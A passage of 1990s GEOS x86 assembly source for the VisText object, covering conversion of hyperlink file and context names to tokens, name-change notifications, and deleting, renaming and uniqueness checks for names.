CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 4/29/92 Initial version JM 3/18/94 added error checking after NameToToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextGetNameListNameType proc far ; MSG_VIS_TEXT_GET_NAME_LIST_NAME_TYPE uses cx, dx, bp .enter ; ; Get the name array ; call LockNameArray push bx ; ; Map the Nth index to the appropriate name & get its context type ; call GetNameParams call NameToToken ;ax <- token EC < ERROR_Z VIS_TEXT_NAME_NOT_FOUND_FOR_INDEX ;> mov cl, VTCT_TEXT ;cl <- default to text jnc gotType ;branch if no match call ChunkArrayElementToPtr ;ds:di <- ptr to entry mov cl, ds:[di].VTNAE_data.VTND_contextType gotType: clr ch ;cx <- VisTextContextType ; ; Set the context type in the list ; push bp movdw bxsi, ss:[bp].VTNCP_object ;^lbx:si <- OD of list clr dx ;dx <- no indeterminates mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov di, mask MF_CALL call ObjMessage pop bp ; ; Done with name array ; pop bx call UnlockNameArray .leave ret VisTextGetNameListNameType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NameToToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a name list entry to its corresponding name array token CALLED BY: UTILITY PASS: *ds:si - name array ax - list index cl - VisTextNameType dx - file list index (if VTNT_CONTEXT) RETURN: carry - set if real name ax - token of matching name zero flag - set if token was not found for the list index in ax DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 2/92 Initial version JM 3/18/94 zero flag returned for caller to do error checking %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ NameToToken proc near uses bx, di, cx, dx .enter cmp cl, VTNT_FILE ;file or context? je isFile ;branch if file call FileAndContextNamesToTokensNoLock jmp done doneAndTokenFound: or bx, 1 ; Clear zero flag. stc ; (Re)set the carry flag. done: .leave ret ; ; If the list entry is a file, just convert the index to a token ; isFile: call FileNameToToken jz done ; If ZF set, then file name ; not found. (CF clear if ZF set) jc doneAndTokenFound or bx, 1 ; Clear zero flag and carry flag. jmp done NameToToken endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileAndContextNamesToTokensNoLock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a pair of file and context indices into their corresponding tokens. CALLED BY: INTERNAL NameToToken FileAndContextNamesToTokens PASS: *ds:si = locked name array ax = index of context dx = index of file RETURN: ax = token of context dx = token of file zero flag = set if token was not found for the list index in ax DESTROYED: bx, cx, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/31/94 Broke out of NameToToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileAndContextNamesToTokensNoLock proc near uses bx, cx, di .enter ; ; Must get file token first. Error if file token not found ; (which means that the file was deleted) but context token ; still exists, since a file's contexts are deleted before the file. ; mov cl, VTNT_CONTEXT call ContextFileNameToToken ; dx <- file token EC < ERROR_Z VIS_TEXT_NAME_NOT_FOUND_FOR_INDEX ;> ; ; Now convert the context list entry to a token. ; mov bx, SEGMENT_CS mov di, offset VTCountNamesCallback ; bx:di <- callback call ElementArrayUsedIndexToToken ; ax <- token jnc notFound or bx, 1 ; clear zero flag stc done: .leave ret notFound: ; ; No token found for list index, so set zero flag and clear ; carry flag (no borrow). ; sub bx, bx jmp done FileAndContextNamesToTokensNoLock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileAndContextNamesToTokens %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a pair of file and context indices into their corresponding tokens. Includes locking/unlocking name array. CALLED BY: INTERNAL VisTextSetHyperlink VisTextRedirectHyperlinks PASS: ax = index of context dx = index of file RETURN: ax = token of context dx = token of file zero flag = set if token was not found for the list index in ax DESTROYED: bx, cx, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/31/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileAndContextNamesToTokens proc near uses ds, si .enter class VisTextClass ; ; Lock/unlock the name array around the conversion of indices ; to tokens. ; call LockNameArray call FileAndContextNamesToTokensNoLock EC < ERROR_Z VIS_TEXT_NAME_NOT_FOUND_FOR_INDEX ;> call UnlockNameArray .leave ret FileAndContextNamesToTokens endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContextFileNameToToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a context's file list entry to its corresponding token CALLED BY: NameToToken(), VisTextDefineName() PASS: *ds:si - name array cl - VisTextNameType dx - file list index RETURN: zero flag - set if no token was found dx - name token for associated file if this was a context DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 4/92 Initial version JM 3/18/94 zero flag returned for caller to do error checking %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContextFileNameToToken proc near uses ax .enter mov ax, dx ;ax <- index of file cmp cl, VTNT_CONTEXT ;context? jne done ; ; Convert the associated file list entry to a token ; call FileNameToToken jz completelyDone done: mov dx, ax ;dx <- file token completelyDone: .leave ret ContextFileNameToToken endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileNameToToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a file list entry to its corresponding name array token CALLED BY: NameToToken(), VisTextDefineName() PASS: *ds:si - name array ax - list entry RETURN: carry - set if real name ax - token of matching file name zero flag - set if token was not found DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 3/92 Initial version JM 3/18/94 zero flag returned so caller can do error checking %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileNameToToken proc near uses bx, cx, di dec ax ;ax <- 0th entry is current file clc ;carry <- assume current js quit ;branch if current file .enter mov cl, VTNT_FILE ;cl <- VisTextNameType to match mov bx, SEGMENT_CS mov di, offset VTCountNamesCallback ;bx:di <- callback call ElementArrayUsedIndexToToken jnc nameNotFound or bx, 1 ; Clear ZF stc almostDone: .leave quit: ret nameNotFound: sub bx, bx ; Set ZF and clear CF. jmp almostDone FileNameToToken endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VTCountNamesCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Count matching names in a text object CALLED BY: ElementArrayGetUsedCount() via callback PASS: ds:di - ptr to VisTextNameArrayElement cl - VisTextNameType to match if VTNT_CONTEXT: dx - file token to match RETURN: carry - set if match DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 4/30/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VTCountNamesCallback proc far ; ; Is this the correct type of name? ; cmp ds:[di].VTNAE_data.VTND_type, cl jne noMatch ;branch if not right type ; ; If counting files, we just need to check the type ; cmp cl, VTNT_FILE ;files or contexts? je match ;branch if files ; ; If counting contexts, we need to make sure the file matches, too. ; cmp ds:[di].VTNAE_data.VTND_file, dx jne noMatch ;branch if different file match: stc ;carry <- element matches ret noMatch: clc ;carry <- no match ret VTCountNamesCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LockNameMessage %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Lock a name messge or string CALLED BY: UTILITY PASS: dx - chunk of message RETURN: cx:dx - ptr to string DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 2/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LockNameMessage proc near uses ax, bx, ds, si .enter mov bx, handle TextTypeStrings call MemLock mov cx, ax mov ds, ax mov si, dx ;*ds:si <- string mov dx, ds:[si] ;cx:dx <- ptr to string .leave ret LockNameMessage endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UnlockNameMessage %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Unlock a name message or string CALLED BY: UTILITY PASS: none RETURN: none DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 2/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UnlockNameMessage proc near uses bx .enter mov bx, handle TextTypeStrings call MemUnlock .leave ret UnlockNameMessage endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendNameNotification %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Send notification that the context/file name array changed CALLED BY: UTILITY PASS: *ds:si - text object ax - name token cl - VisTextNameType ch - VisTextNameChangeType dx - file index, if VTNT_CONTEXT RETURN: none DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 2/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendNameNotification proc far uses bx, bp .enter class VisTextClass ; ; allocate a block to hold the notification data ; push ax, cx mov ax, size VisTextNotifyNameChange mov cx, ALLOC_DYNAMIC_NO_ERR or mask HF_SHARABLE \ or (mask HAF_ZERO_INIT shl 8) call MemAlloc mov ax, 1 call MemInitRefCount call MemLock mov es, ax ; ; store the name type and token in the notification block ; pop {word}es:[VTNNC_type] pop es:[VTNNC_index] mov es:[VTNNC_fileIndex], dx ; ; get and increment the name count variable, so that the ; notification is unique ; push es mov ax, segment idata mov es, ax inc es:nameCount mov ax, es:nameCount pop es mov es:[VTNNC_count], ax call MemUnlock ;;; adapted from TA_SendNotification sub sp, size VisTextGenerateNotifyParams mov bp, sp mov ss:[bp].VTGNP_notificationTypes, mask VTNF_NAME mov ax, 15-offset VTNF_NAME ; ax <- offset of name flag ; from high bit shl ax ; ax <- offset of name block add bp, ax mov ss:[bp].VTGNP_notificationBlocks, bx sub bp, ax ; make sure that we need to send the method -- set flags for ; destination EC < call T_AssertIsVisText > mov di, ds:[si] add di, ds:[di].Vis_offset clr dx test ds:[di].VTI_intFlags, mask VTIF_SUSPENDED jz notSuspended ; object is suspended -- add flags mov ax, ATTR_VIS_TEXT_SUSPEND_DATA call ObjVarFindData or ds:[bx].VTSD_notifications, mask VTNF_NAME notSuspended: ;;; ;;; Controllers need to know whenever the name array changes, ;;; regardless of whether the text object happens to be the ;;; target at the time; e.g. when we, say, add a name in the ;;; course of setting a hyperlink on a hotspot, the hyperlink ;;; controller lists must be updated with the new name. ;;; -jenny 7/18/94 ;;; ;;; test ds:[di].VTI_intSelFlags, mask VTISF_IS_TARGET ;;; jz noTarget ornf dx, mask VTNSF_UPDATE_APP_TARGET_GCN_LISTS ;;;noTarget: ; set the flags so that the passed structure is used instead ; of the one that would be created by GenNameNotify ; ornf dx, mask VTNSF_STRUCTURE_INITIALIZED or mask VTNSF_SEND_ONLY mov ss:[bp].VTGNP_sendFlags, dx mov ax, MSG_VIS_TEXT_GENERATE_NOTIFY call ObjCallInstanceNoLock add sp, size VisTextGenerateNotifyParams .leave ret SendNameNotification endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextDeleteName %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete a file or context name CALLED BY: MSG_VIS_TEXT_DELETE_NAME PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - VisTextNameCommonParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 2/92 Initial version JM 3/18/94 - If deleting a file, then delete associated contexts from name array. - Update the type run array. - FORCE_QUEUE the REMOVE_NAME msg. to partially fix bug 6007 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextDeleteName proc far ; MSG_VIS_TEXT_DELETE_NAME ; ; Suspend recalculation till we're done. ; call TextSuspend ; ; Convert the index to a name token ; push ds, si call LockNameArray call GetNameParams call NameToToken ;ax <- name token LONG jz couldntDelete ; Don't crash -- dynam ; list and name array ; might be out of synch. EC < ERROR_NC VIS_TEXT_NAME_CANT_MODIFY_CURRENT_FILE > cmp cl, VTNT_FILE je dontNeedComputeFileToken ;already have file ;token in ax call ContextFileNameToToken ; dx <- file token dontNeedComputeFileToken: call UnlockNameArray mov bx, ax ; bx <- file token cmp cl, VTNT_FILE je fileTokenInAX mov bx, dx ; bx <- file token fileTokenInAX: pop ds, si cmp cl, VTNT_FILE je continueFileDeletion ; ; Delete the context and hyperlinks to it from the type ; run array. ; push cx clr cx ; flag for CHTDeleter call ContextHyperlinkTypeDeleter ; Fix the type run and ; element arrays for ; deletion of a ; context. pop cx continueFileDeletion: push ax ; save name token ; ; If we're deleting a file, first delete any associated ; contexts. ; cmp cl, VTNT_CONTEXT je isContext ; ; Delete the hyperlinks to the file from the type run. ; Note that we don't have to worry about deleting contexts ; from the type run when we're deleting a file because ; contexts are only defined in "*same file*," which cannot ; be deleted. mov cx, 1 call ContextHyperlinkTypeDeleter mov cx, ax ;cx <- name token push ds,si,es,bp ; Save text obj ptr ; (A..C..D..Callback will not ; cause the lmem heap to grow, ; so it's ok to save ds:si - ; jm) mov dx, ds:[LMBH_handle] ; ^ldx:bp holds VisText mov bp, si ; for use by A..C..D..Callback call LockNameArray push bx mov bx, cs ; assume same segment mov di, offset AssociatedContextDeleteCallback call ChunkArrayEnum pop bx call UnlockNameArray pop ds,si,es,bp ; ; Delete the name ; isContext: pop ax ; get name token mov cx, ax ;cx <- token of name mov ax, MSG_VIS_TEXT_REMOVE_NAME ; Changed ObjCallInstanceNoLock to ObjMessage so that ; I could use MF_FORCE_QUEUE. This change attempts to ; fix bug 6007 by ensuring that the NameArray doesn't ; get an entry deleted before THelpControlDeleteFile's ; call to change the currently selected file (which ; causes THDCFileList to be updated) is processed. Ask ; J. Magasin about this fix. mov bx, ds:[LMBH_handle] ; ^lbx:si = text object mov di, mask MF_FORCE_QUEUE or mask MF_FIXUP_DS call ObjMessage ; ; Send a notification out that stuff has changed ; call GetNameParams ; cl <- name type ; dx <- file list index mov ax, GIGS_NONE ; no list index for name mov ch, VTNCT_REMOVE ; ch <- change type call SendNameNotification ;*ds:si must point to text object ; ; Mark the object as dirty ; call TextMarkUserModified ;*ds:si points to text instance done: ; ; Put the unsuspend message on the queue so we won't redraw ; till after all the hyperlink-deleting messages we've put on ; the queue have been processed. ; mov bx, ds:[LMBH_handle] mov di, mask MF_FORCE_QUEUE mov ax, MSG_META_UNSUSPEND call ObjMessage ret couldntDelete: call UnlockNameArray pop ds, si jmp done VisTextDeleteName endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AssociatedContextDeleteCallback %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Callback routine used to delete associated contexts of a file that is being deleted. CALLED BY: ChunkArrayEnum via VisTextDeleteName PASS: *ds:si - name array of the VisText object ds:di - array element being enumerated ax - element size cx - token of the file to be deleted ^ldx:bp - VisText object RETURN: carry set to false messages sent to the text object to delete the associated contexts of the file (of list index dx) DESTROYED: bx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JM 2/28/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AssociatedContextDeleteCallback proc far uses cx .enter cmp ds:[di].VTNAE_data.VTND_file, cx jne done cmp ds:[di].VTNAE_data.VTND_type, VTNT_CONTEXT jne done call ChunkArrayPtrToElement ;ax <- token of context mov cx, ax ;cx <- token of name mov bx, dx mov si, bp ; ^lbx:si = VisText object mov ax, MSG_VIS_TEXT_REMOVE_NAME mov di, mask MF_FORCE_QUEUE or mask MF_FIXUP_DS call ObjMessage done: clc .leave ret AssociatedContextDeleteCallback endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContextHyperlinkTypeDeleter %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove a context and all hyperlinks associated with that context from the type run array and type element array of the current text object ("*same file*). CALLED BY: PASS: *ds:si - text object cx - 0 if the user is deleting one specific context 1 if the user is deleting an entire file (and hence all contexts for that file) ax - token of the context that is being deleted bx - token of the file for which this context is defined RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: EA(r) denotes the element array element corresponding to run array element r. for each element r in the text object's type run array If EA(r).hyperlinkName = ax and EA(r).hyperlinkFile = bx then delete the hyperlink for r's range If EA(r).context = ax and bx = -1 ("-same file-") then delete the context for r's range REVISION HISTORY: Name Date Description ---- ---- ----------- JM 3/14/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContextHyperlinkTypeDeleter proc near uses ax,bx,cx,dx,si,di,ds textObj local dword contextToken local word fileToken local word contextOrFile local word runArray local dword raConsecElts local word eltArray local dword eltArrayVM local word eltArrayElt local VisTextType hyperlinkParams local VisTextSetHyperlinkParams contextParams local VisTextSetContextParams .enter movdw textObj, dssi ; Save text object. mov contextToken, ax ; context token mov fileToken, bx ; file token mov contextOrFile, cx ; flag call LockTypeRunArray ; ds:si - first run array elt ; cx - number of consecutive ; elments ; (-1 if all of them) ; di - token for run array ; routines mov raConsecElts, cx movdw runArray, dssi ; Save run array location. call FarElementArrayLock ; *ds:si - elt array ; bx - value to pass to EAUnlock ; 0 if runs in same block ; !0 - VM mem handle movdw eltArray, dssi ; Save element array location. mov eltArrayVM, bx ; Save for unlocking movdw dssi, runArray ; Load first run array element. scan: mov ax, ds:[si].TRAE_token ; Get element number for current ; run from the run array. cmp ax, CA_NULL_ELEMENT je continue ; If EA(r) does not exist for ; this r, then we're at the last ; run. movdw dssi, eltArray mov cx, ss lea dx, eltArrayElt ; cx:dx stack space for CAGElt call ChunkArrayGetElement ; Get elt corresponding to ; current run. (GetElement is ; slower because it locks the ; array on every access.) ; ; See if current run is a hyperlink we should delete. ; mov dx, eltArrayElt.VTT_hyperlinkFile cmp dx, fileToken jne notLink cmp contextOrFile, 1 je deleteHyperlink ; If deleting entire file, ; then delete all links to ; that file without checking ; for context match. mov dx, eltArrayElt.VTT_hyperlinkName cmp dx, contextToken jne notLink deleteHyperlink: lea cx, ss:hyperlinkParams.VTSHLP_range mov ax, MSG_VIS_TEXT_SET_HYPERLINK mov dx, (size VisTextSetHyperlinkParams) mov ss:hyperlinkParams.VTSHLP_file, VIS_TEXT_CURRENT_FILE_TOKEN mov ss:hyperlinkParams.VTSHLP_context, VIS_TEXT_NIL_CONTEXT_TOKEN mov ss:hyperlinkParams.VTSHLP_flags, (mask VTCF_TOKEN or mask VTCF_SHOWING_HYPERLINKS) push di call ContextHyperlinkTypeDeleterHelperCommon pop di jmp continue notLink: ; ; See if current run is a context we should delete. ; mov dx, eltArrayElt.VTT_context cmp dx, contextToken jne continue cmp fileToken, VIS_TEXT_CURRENT_FILE_TOKEN jne continue lea cx, ss:contextParams.VTSCXP_range mov ax, MSG_VIS_TEXT_SET_CONTEXT mov dx, (size VisTextSetContextParams) mov ss:contextParams.VTSCXP_context, VIS_TEXT_NIL_CONTEXT_TOKEN mov ss:contextParams.VTSCXP_flags, mask VTCF_TOKEN call ContextHyperlinkTypeDeleterHelperCommon continue: movdw dssi, runArray ; Reload present run array ; element. cmp ds:[si].TRAE_position.WAAH_high, \ TEXT_ADDRESS_PAST_END_HIGH je done ; Check for last run. mov cx, raConsecElts call FarRunArrayNext ; Get next run array elt. movdw runArray, dssi ; Store new current run array elt. mov raConsecElts, cx ; Store new number of consecutive elts. jmp scan done: call FarRunArrayUnlock ; Unlock the run array. movdw dssi, eltArray mov bx, eltArrayVM call FarElementArrayUnlock ; Unlock the element array. .leave ret ContextHyperlinkTypeDeleter endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContextHyperlinkTypeDeleterHelperCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Common code for deleting a context or its hyperlink from the type run array. CALLED BY: ContextHyperlinkTypeDeleter only PASS: cx - offset of contextParams or hyperlinkParams depending on di ax - MSG_VIS_TEXT_SET_HYPERLINK or - MSG_VIS_TEXT_SET_CONTEXT dx - size of VisTextSetContextParams or - size of VisTextSetHyperlinkParams inherits local variables of ContextHyperlinkTypeDeleter RETURN: range (local variable) modified DESTROYED: ds,si,ax,bx,cx,dx, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JM 3/14/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContextHyperlinkTypeDeleterHelperCommon proc near .enter inherit ContextHyperlinkTypeDeleter push ax ; Save message. push dx ; Save param size. ; ; Need start of this run. ; movdw dssi, runArray ; Point to current run. mov ax, ds:[si].TRAE_position.WAAH_low clr dx mov dl, ds:[si].TRAE_position.WAAH_high push bp mov bp, cx movdw ss:[bp].VTR_start, dxax pop bp ; ; Figure out end of this run. ; EC < cmp ds:[si].TRAE_position.WAAH_high, TEXT_ADDRESS_PAST_END_HIGH > EC < ERROR_Z VIS_TEXT_CANNOT_GO_BEYOND_LAST_ELEMENT > push cx mov cx, raConsecElts call FarRunArrayNext ; dx:ax <- start of next run ; = end of this run pop cx cmp dl, TEXT_ADDRESS_PAST_END_HIGH je lastRun ; Check if last run. lastRun: push bp mov bp, cx movdw ss:[bp].VTR_end, dxax pop bp ; ; Now delete the context or link for the range. ; clr bx ; for TA_GetTextRange movdw dssi, textObj pop dx ; Get size of params. pop ax ; Get our message. push bp mov bp, cx ; NOTE: ss:bp should point ; to hyperlinkParams or ; contextParams by default, ; even though it was set ; to point just to the range call TA_GetTextRange ; ; Tell the text obj to unset the hlink/context using ; MF_FORCE_QUEUE. If no MF_F_Q, the type run array ; gets mangled too soon, and our scan through it gets ; all messed up. ; mov bx, ds:[LMBH_handle] mov di, mask MF_STACK or mask MF_FORCE_QUEUE call ObjMessage pop bp .leave ret ContextHyperlinkTypeDeleterHelperCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextRenameName %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Change a name (file or context) CALLED BY: MSG_VIS_TEXT_RENAME_NAME PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - VisTextNameCommonParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 3/92 Initial version JM 3/18/94 Added error checking after NameToToken call. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextRenameName proc far ; MSG_VIS_TEXT_RENAME_NAME ; ; Get the name and make sure it is unique ; call GetNameCheckUnique jnc quit ;branch if name in use push ds, si push bx call LockNameArray ;*ds:si <- name array ; ; Find the existing name and change it ; push cx call GetNameParams call NameToToken ;ax <- name token EC < ERROR_Z VIS_TEXT_NAME_NOT_FOUND_FOR_INDEX ;> pop cx EC < ERROR_NC VIS_TEXT_NAME_CANT_MODIFY_CURRENT_FILE > call NameArrayChangeName ; ; Free the text block we got earlier ; call UnlockNameArray pop bx call MemFree pop ds, si ; ; Send a notification out that stuff has changed ; call GetNameParams ; cl <- VisTextNameType ; ax <- name index ; dx <- file index (if VTNT_CONTEXT) mov ch, VTNCT_RENAME ; ch <- change type call SendNameNotification ; ; Mark the object as dirty ; call TextMarkUserModified quit: ret VisTextRenameName endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetNameCheckUnique %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the text for a name and check for uniqueness CALLED BY: VisTextRenameName(), VisTextDefineName() PASS: *ds:si = instance data for text object ss:bp = VisTextNameCommonParams RETURN: carry = set if not in use es:di = ptr to name cx = length of name bx = handle of text block DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: Puts up an annoying DB informing the user that the name isn't unique, if necessary. REVISION HISTORY: Name Date Description ---- ---- ----------- gene 9/ 3/92 Initial version jenny 8/17/94 Added check for empty/whitespace name jenny 8/28/94 Broke out GetNameFromObject, NameStringToToken jenny 11/ 2/94 Broke out DoNameErrorDialog %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetNameCheckUnique proc near uses ax, dx, bp .enter ; ; Get a block holding the new name and make sure it's not an ; empty string. ; push si movdw bxdi, ss:[bp].VTNCP_object call GetNameFromObject ; es:di <- ptr to string tst cx jz noName ; ; Make sure name consists of more than just whitespace and/or ; punctuation. ; push ds segmov ds, cs mov si, offset cs:[emptyString] call LocalCmpStringsNoSpace pop ds je whiteSpaceName pop si ; ; See if the name is already defined ; push cx ;save string length call NameStringToToken ;ax <- token pop cx ;cx <- length of string cmp ax, CA_NULL_ELEMENT ;new name? jne nameDefined ;branch if not new name stc ;carry <- name not in use done: .leave ret ; ; Put up annoying error message if name is empty, illegal, or ; already defined. ; es:di - ptr to name ; whiteSpaceName: mov dx, offset illegalNameString ;dx <- message to lock jmp clearStack noName: mov dx, offset 